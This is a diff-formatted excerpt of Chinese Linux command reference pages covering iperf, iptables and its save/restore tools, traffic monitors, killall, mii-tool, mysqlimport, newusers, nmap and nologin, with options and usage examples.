<td>设置TCP无延迟选项,禁用Nagle's运算法则。通常情况此选项对于交互程序,例如telnet,是禁用的。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-V (from v1.6 or higher)</td>
|
||||
|
||||
<td>绑定一个IPv6地址。
|
||||
服务端:$ iperf -s –V
|
||||
客户端:$ iperf -c <Server IPv6 Address> -V
|
||||
注意:在1.6.3或更高版本中,指定IPv6地址不需要使用-B参数绑定,在1.6之前的版本则需要。在大多数操作系统中,将响应IPv4客户端映射的IPv4地址。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>服务器端专用选项</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-s, --server</td>
|
||||
|
||||
<td>Iperf服务器模式</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-D (v1.2或更高版本)</td>
|
||||
|
||||
<td>Unix平台下Iperf作为后台守护进程运行。在Win32平台下,Iperf将作为服务运行。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-R(v1.2或更高版本,仅用于Windows)</td>
|
||||
|
||||
<td>卸载Iperf服务(如果它在运行)。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-o(v1.2或更高版本,仅用于Windows)</td>
|
||||
|
||||
<td>重定向输出到指定文件</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-c, --client host</td>
|
||||
|
||||
<td>如果Iperf运行在服务器模式,并且用-c参数指定一个主机,那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-P, --parallel #</td>
|
||||
|
||||
<td>服务器关闭之前保持的连接数。默认是0,这意味着永远接受连接。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>客户端专用选项</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-b, --bandwidth #[KM]</td>
|
||||
|
||||
<td>UDP模式使用的带宽,单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-c, --client host</td>
|
||||
|
||||
<td>运行Iperf的客户端模式,连接到指定的Iperf服务器端。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-d, --dualtest</td>
|
||||
|
||||
<td>运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-n, --num #[KM]</td>
|
||||
|
||||
<td>传送的缓冲器数量。通常情况,Iperf按照10秒钟发送数据。-n参数跨越此限制,按照指定次数发送指定长度的数据,而不论该操作耗费多少时间。参考-l与-t选项。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-r, --tradeoff</td>
|
||||
|
||||
<td>往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口(或默认为客户端连接到服务器端的端口),反向连接至客户端。当客户端连接终止时,反向连接随即开始。如果需要同时进行双向测试,请尝试-d参数。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-t, --time #</td>
|
||||
|
||||
<td>设置传输的总时间。Iperf在指定的时间内,重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-L, --listenport #</td>
|
||||
|
||||
<td>指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-P, --parallel #</td>
|
||||
|
||||
<td>线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-S, --tos #</td>
|
||||
|
||||
<td>出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值,使用以"0x"开始的16进制数,或以"0"开始的8进制数或10进制数。
|
||||
例如,16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是:
|
||||
IPTOS_LOWDELAY minimize delay 0x10
|
||||
IPTOS_THROUGHPUT maximize throughput 0x08
|
||||
IPTOS_RELIABILITY maximize reliability 0x04
|
||||
IPTOS_LOWCOST minimize cost 0x02</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-T, --ttl #</td>
|
||||
|
||||
<td>出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1,链接本地。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-F (from v1.2 or higher)</td>
|
||||
|
||||
<td>使用特定的数据流测量带宽,例如指定的文件。
|
||||
$ iperf -c <server address> -F <file-name></td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-I (from v1.2 or higher)</td>
|
||||
|
||||
<td>与-F一样,由标准输入输出文件输入数据。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>杂项</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-h, --help</td>
|
||||
|
||||
<td>显示命令行参考并退出 。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
<tr>
|
||||
|
||||
<td>-v, --version</td>
|
||||
|
||||
<td>显示版本信息和编译信息并退出。</td>
|
||||
|
||||
</tr>
|
||||
|
||||
</tbody>
|
||||
|
||||
</table>
|
||||
|
||||
### 实例
|
||||
|
||||
带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。
|
||||
|
||||
**UDP模式**
|
||||
|
||||
服务器端:
|
||||
|
||||
```
|
||||
iperf -u -s
|
||||
```
|
||||
|
||||
客户端:
|
||||
|
||||
```
|
||||
iperf -u -c 192.168.1.1 -b 100M -t 60
|
||||
```
|
||||
|
||||
在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
|
||||
|
||||
```
|
||||
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
|
||||
```
|
||||
|
||||
客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。
|
||||
|
||||
```
|
||||
iperf -u -c 192.168.1.1 -b 100M -d -t 60
|
||||
```
|
||||
|
||||
以100M为数据发送速率,进行上下行带宽测试。
|
||||
|
||||
**TCP模式**
|
||||
|
||||
服务器端:
|
||||
|
||||
```
|
||||
iperf -s
|
||||
```
|
||||
|
||||
客户端:
|
||||
|
||||
```
|
||||
iperf -c 192.168.1.1 -t 60
|
||||
```
|
||||
|
||||
在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。
|
||||
|
||||
```
|
||||
iperf -c 192.168.1.1 -P 30 -t 60
|
||||
```
|
||||
|
||||
客户端同时向服务器端发起30个连接线程。
|
||||
|
||||
```
|
||||
iperf -c 192.168.1.1 -d -t 60
|
||||
```
|
||||
|
||||
进行上下行带宽测试。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
iptables-restore
|
||||
===
|
||||
|
||||
还原iptables表的配置
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
iptables-restor(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值;
|
||||
-t:指定要还原表的名称。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
iptables-restor < iptables.bak
|
||||
```
|
||||
|
||||
iptables.bak是iptables-save命令所备份的文件。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
iptables-save
|
||||
===
|
||||
|
||||
备份iptables的表配置
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
iptables-save(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值;
|
||||
-t:指定要保存的表的名称。
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
```
|
||||
[root@localhost ~]# iptables-save -t filter > iptables.bak
|
||||
[root@localhost ~]# cat iptables.bak
|
||||
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
|
||||
*filter
|
||||
:INPUT DROP [48113:2690676]
|
||||
:FORWARD accept [0:0]
|
||||
:OUTPUT ACCEPT [3381959:1818595115]
|
||||
-A INPUT -i lo -j ACCEPT
|
||||
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
|
||||
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
-A INPUT -p icmp -j ACCEPT
|
||||
-A OUTPUT -o lo -j ACCEPT
|
||||
COMMIT
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,136 @@
|
|||
iptables
|
||||
===
|
||||
|
||||
Linux上常用的防火墙软件
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iptables命令** 是Linux上常用的防火墙软件,是netfilter项目的一部分。可以直接配置,也可以通过许多前端和图形界面配置。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
iptables(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-t<表>:指定要操纵的表;
|
||||
-A:向规则链中添加条目;
|
||||
-D:从规则链中删除条目;
|
||||
-i:向规则链中插入条目;
|
||||
-R:替换规则链中的条目;
|
||||
-L:显示规则链中已有的条目;
|
||||
-F:清楚规则链中已有的条目;
|
||||
-Z:清空规则链中的数据包计算器和字节计数器;
|
||||
-N:创建新的用户自定义规则链;
|
||||
-P:定义规则链中的默认目标;
|
||||
-h:显示帮助信息;
|
||||
-p:指定要匹配的数据包协议类型;
|
||||
-s:指定要匹配的数据包源ip地址;
|
||||
-j<目标>:指定要跳转的目标;
|
||||
-i<网络接口>:指定数据包进入本机的网络接口;
|
||||
-o<网络接口>:指定数据包要离开本机所使用的网络接口。
|
||||
```
|
||||
|
||||
**iptables命令选项输入顺序:**
|
||||
|
||||
```
|
||||
iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
|
||||
```
|
||||
|
||||
表名包括:
|
||||
|
||||
* **raw** :高级功能,如:网址过滤。
|
||||
* **mangle** :数据包修改(QOS),用于实现服务质量。
|
||||
* **net** :地址转换,用于网关路由器。
|
||||
* **filter** :包过滤,用于防火墙规则。
|
||||
|
||||
规则链名包括:
|
||||
|
||||
* **INPUT链** :处理输入数据包。
|
||||
* **OUTPUT链** :处理输出数据包。
|
||||
* **PORWARD链** :处理转发数据包。
|
||||
* **PREROUTING链** :用于目标地址转换(DNAT)。
|
||||
* **POSTOUTING链** :用于源地址转换(SNAT)。
|
||||
|
||||
动作包括:
|
||||
|
||||
* **accept** :接收数据包。
|
||||
* **DROP** :丢弃数据包。
|
||||
* **REDIRECT** :重定向、映射、透明代理。
|
||||
* **SNAT** :源地址转换。
|
||||
* **DNAT** :目标地址转换。
|
||||
* **MASQUERADE** :IP伪装(NAT),用于ADSL。
|
||||
* **LOG** :日志记录。
|
||||
|
||||
### 实例
|
||||
|
||||
**清除已有iptables规则**
|
||||
|
||||
```
|
||||
iptables -F
|
||||
iptables -X
|
||||
iptables -Z
|
||||
```
|
||||
|
||||
**开放指定的端口**
|
||||
|
||||
```
|
||||
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机)
|
||||
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行
|
||||
iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问
|
||||
iptables -A INPUT -p tcp --dport 22 -j ACCEPT #允许访问22端口
|
||||
iptables -A INPUT -p tcp --dport 80 -j ACCEPT #允许访问80端口
|
||||
iptables -A INPUT -p tcp --dport 21 -j ACCEPT #允许ftp服务的21端口
|
||||
iptables -A INPUT -p tcp --dport 20 -j ACCEPT #允许FTP服务的20端口
|
||||
iptables -A INPUT -j reject #禁止其他未允许的规则访问
|
||||
iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问
|
||||
```
|
||||
|
||||
**屏蔽IP**
|
||||
|
||||
```
|
||||
iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令
|
||||
iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令
|
||||
iptables -I INPUT -s 124.45.0.0/16 -j DROP #封IP段即从123.45.0.1到123.45.255.254的命令
|
||||
iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45.6.254的命令是
|
||||
```
|
||||
|
||||
**查看已添加的iptables规则**
|
||||
|
||||
```
|
||||
iptables -L -n -v
|
||||
Chain INPUT (policy DROP 48106 packets, 2690K bytes)
|
||||
pkts bytes target prot opt in out source destination
|
||||
5075 589K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
|
||||
191K 90M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
|
||||
1499K 133M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
|
||||
4364K 6351M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
|
||||
6256 327K ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0
|
||||
|
||||
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
|
||||
pkts bytes target prot opt in out source destination
|
||||
|
||||
Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
|
||||
pkts bytes target prot opt in out source destination
|
||||
5075 589K ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0
|
||||
```
|
||||
|
||||
**删除已添加的iptables规则**
|
||||
|
||||
将所有iptables以序号标记显示,执行:
|
||||
|
||||
```
|
||||
iptables -L -n --line-numbers
|
||||
```
|
||||
|
||||
比如要删除INPUT里序号为8的规则,执行:
|
||||
|
||||
```
|
||||
iptables -D INPUT 8
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
iptraf
|
||||
===
|
||||
|
||||
实时地监视网卡流量
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
iptraf(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-i网络接口:立即在指定网络接口上开启IP流量监视;
|
||||
-g:立即开始生成网络接口的概要状态信息;
|
||||
-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息;
|
||||
-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息;
|
||||
-z网络接口:在指定网络接口上显示包计数;
|
||||
-l网络接口:在指定网络接口上立即开始监视局域网工作站信息;
|
||||
-t时间:指定iptraf指令监视的时间;
|
||||
-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行;
|
||||
-f:清空所有计数器;
|
||||
-h:显示帮助信息。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
iptstate
|
||||
===
|
||||
|
||||
显示iptables的工作状态
|
||||
|
||||
## 补充说明
|
||||
|
||||
**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
iptstate(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-b:指定输出信息的排序规则;
|
||||
-d:不动态地改变窗口大小;
|
||||
-f:过滤本地回送信息;
|
||||
-l:将ip地址解析为域名;
|
||||
-L:隐藏于DNS查询相关状态;
|
||||
-r:指定刷新屏幕的频率;
|
||||
-R:反序排列;
|
||||
-s:单次运行模式;
|
||||
-t:显示汇总信息。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
killall
|
||||
===
|
||||
|
||||
使用进程的名称来杀死一组进程
|
||||
|
||||
## 补充说明
|
||||
|
||||
**killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
killall(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-e:对长名称进行精确匹配;
|
||||
-l:忽略大小写的不同;
|
||||
-p:杀死进程所属的进程组;
|
||||
-i:交互式杀死进程,杀死进程前需要进行确认;
|
||||
-l:打印所有已知信号列表;
|
||||
-q:如果没有进程被杀死。则不输出任何信息;
|
||||
-r:使用正规表达式匹配要杀死的进程名称;
|
||||
-s:用指定的进程号代替默认信号“SIGTERM”;
|
||||
-u:杀死指定用户的进程。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
进程名称:指定要杀死的进程名称。
|
||||
|
||||
### 实例
|
||||
|
||||
杀死所有同名进程
|
||||
|
||||
```
|
||||
killall vi
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
lnstat
|
||||
===
|
||||
|
||||
显示Linux系统的网路状态
|
||||
|
||||
## 补充说明
|
||||
|
||||
**lnstat命令** 用来显示Linux系统的网路状态。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
lnstat(选项)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-h:显示帮助信息;
|
||||
-V:显示指令版本信息;
|
||||
-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态;
|
||||
-d:显示可用的文件或关键字;
|
||||
-i:指定两次显示网络状的间隔秒数;
|
||||
-k:只显示给定的关键字;
|
||||
-s:是否显示标题头;
|
||||
-w:指定每个字段所占的宽度。
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,73 @@
|
|||
mii-tool
|
||||
===
|
||||
|
||||
配置网络设备协商方式的工具
|
||||
|
||||
## 补充说明
|
||||
|
||||
**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-V 显示版本信息;
|
||||
-v 显示网络接口的信息;
|
||||
-R 重设MII到开启状态;
|
||||
-r 重启自动协商模式;
|
||||
-w 查看网络接口连接的状态变化;
|
||||
-l 写入事件到系统日志;
|
||||
-A 指令特定的网络接口;
|
||||
-F 更改网络接口协商方式;
|
||||
|
||||
media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
|
||||
(to advertise both HD and FD) 100baseTx, 10baseT
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
查看网络接口的协商状态:
|
||||
|
||||
```
|
||||
[root@localhost ~]# mii-tool -v eth0
|
||||
eth0: negotiated 100baseTx-FD, link ok
|
||||
product info: vendor 00:50:ef, model 60 rev 8
|
||||
basic mode: autonegotiation enabled
|
||||
basic status: autonegotiation complete, link ok
|
||||
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
|
||||
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
|
||||
link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
|
||||
```
|
||||
|
||||
注:上面的例子,我们可以看得到是自动协商,注意红字的部份。
|
||||
|
||||
更改网络接口协商方式:
|
||||
|
||||
更改网络接口的协商方式,我们要用到`-F`选项,后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数;
|
||||
|
||||
如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢?
|
||||
|
||||
```
|
||||
[root@localhost ~]# mii-tool -F 100baseTx-FD
|
||||
[root@localhost ~]# mii-tool -v eth0
|
||||
eth0: 100 Mbit, full duplex, link ok
|
||||
product info: vendor 00:00:00, model 0 rev 0
|
||||
basic mode: 100 Mbit, full duplex
|
||||
basic status: link ok
|
||||
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
|
||||
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
|
||||
```
|
||||
|
||||
注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令:
|
||||
|
||||
```
|
||||
[root@localhost ~]# ethtool -s eth0 speed 100 duplex full
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
mysqlimport
|
||||
===
|
||||
|
||||
为MySQL服务器用命令行方式导入数据
|
||||
|
||||
## 补充说明
|
||||
|
||||
**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具,它从特定格式的文本文件中读取数据插入MySQL数据库表中。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
mysqlimport(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-D:导入数据前清空表;
|
||||
-f:出现错误时继续处理剩余的操作;
|
||||
-h:MySQL服务器的ip地址或主机名;
|
||||
-u:连接MySQL服务器的用户名;
|
||||
-p:连接MySQL服务器的密码。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
* 数据库名:指定要导入的数据库名称;
|
||||
* 文本文件:包含特定格式文本文件。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,56 @@
|
|||
newusers
|
||||
===
|
||||
|
||||
用于批处理的方式一次创建多个命令
|
||||
|
||||
## 补充说明
|
||||
|
||||
**newusers命令** 用于批处理的方式一次创建多个命令。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
newusers(参数)
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。
|
||||
|
||||
### 实例
|
||||
|
||||
实用newusers命令批量添加用户:
|
||||
|
||||
用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。
|
||||
|
||||
```
|
||||
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
|
||||
```
|
||||
|
||||
举例:
|
||||
|
||||
```
|
||||
jingang0:x:520:520::/home/jingang0:/sbin/nologin
|
||||
jingang1:x:521:521::/home/jingang1:/sbin/nologin
|
||||
......
|
||||
```
|
||||
|
||||
值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看:
|
||||
|
||||
```
|
||||
[root@localhost beinan]# chsh --list
|
||||
/bin/sh
|
||||
/bin/bash
|
||||
/sbin/nologin
|
||||
/bin/ksh
|
||||
/bin/tcsh
|
||||
/bin/csh
|
||||
/bin/zsh
|
||||
```
|
||||
|
||||
其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。
|
||||
|
||||
关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
nmap
|
||||
===
|
||||
|
||||
网络探测和安全审核
|
||||
|
||||
## 补充说明
|
||||
|
||||
**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
nmap(选项)(参数)
|
||||
```
|
||||
|
||||
### 选项
|
||||
|
||||
```
|
||||
-O:激活操作探测;
|
||||
-P0:值进行扫描,不ping主机;
|
||||
-PT:是同TCP的ping;
|
||||
-sV:探测服务版本信息;
|
||||
-sP:ping扫描,仅发现目标主机是否存活;
|
||||
-ps:发送同步(SYN)报文;
|
||||
-PU:发送udp ping;
|
||||
-PE:强制执行直接的ICMPping;
|
||||
-PB:默认模式,可以使用ICMPping和TCPping;
|
||||
-6:使用IPv6地址;
|
||||
-v:得到更多选项信息;
|
||||
-d:增加调试信息地输出;
|
||||
-oN:以人们可阅读的格式输出;
|
||||
-oX:以xml格式向指定文件输出信息;
|
||||
-oM:以机器可阅读的格式输出;
|
||||
-A:使用所有高级扫描选项;
|
||||
--resume:继续上次执行完的扫描;
|
||||
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
|
||||
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
|
||||
-g:将指定的端口作为源端口进行扫描;
|
||||
--ttl:指定发送的扫描报文的生存期;
|
||||
--packet-trace:显示扫描过程中收发报文统计;
|
||||
--scanflags:设置在扫描报文中的TCP标志。
|
||||
```
|
||||
|
||||
### 参数
|
||||
|
||||
ip地址:指定待扫描报文中的TCP地址。
|
||||
|
||||
### 实例
|
||||
|
||||
**安装nmap**
|
||||
|
||||
```
|
||||
yum install nmap
|
||||
```
|
||||
|
||||
**使用nmap扫描www.jsdig.com的开放端口**
|
||||
|
||||
```
|
||||
[root@localhost ~]# nmap www.jsdig.com
|
||||
|
||||
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
|
||||
Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8):
|
||||
Not shown: 1678 filtered ports
|
||||
PORT STATE service
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
|
||||
Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds
|
||||
```
|
||||
|
||||
|
||||
<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
nologin
|
||||
===
|
||||
|
||||
拒绝用户登录系统
|
||||
|
||||
## 补充说明
|
||||
|
||||
**nologin命令** 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。
|
||||
|
||||
### 语法
|
||||
|
||||
```
|
||||
nologin
|
||||
```
|
||||
|
||||
### 实例
|
||||
|
||||
Linux禁止用户登录:
|
||||
|
||||
禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。
|
||||
|
||||
1、禁止个别用户登录,比如禁止lynn用户登录。
|
||||
|
||||
```
|
||||
passwd -l lynn
|
||||
```
|
||||
|
||||
这就话的意思是锁定lynn用户,这样该用户就不能登录了。
|
||||
|
||||
```
|
||||
passwd -u lynn
|
||||
```
|
||||
|
||||
上面是对锁定的用户lynn进行解锁,用户可登录了。
|
||||
|
||||
2、我们通过修改`/etc/passwd`文件中用户登录的shell
|
||||
|
||||
```
|
||||
vi /etc/passwd
|
||||
```
|
||||
|
||||
更改为:
|
||||
|
||||
```
|
||||
lynn:x:500:500::/home/lynn:/sbin/nologin
|
||||
```
|
||||
|
||||
该用户就无法登录了。
|
||||
|
||||
3、禁止所有用户登录。
|
||||
|
||||
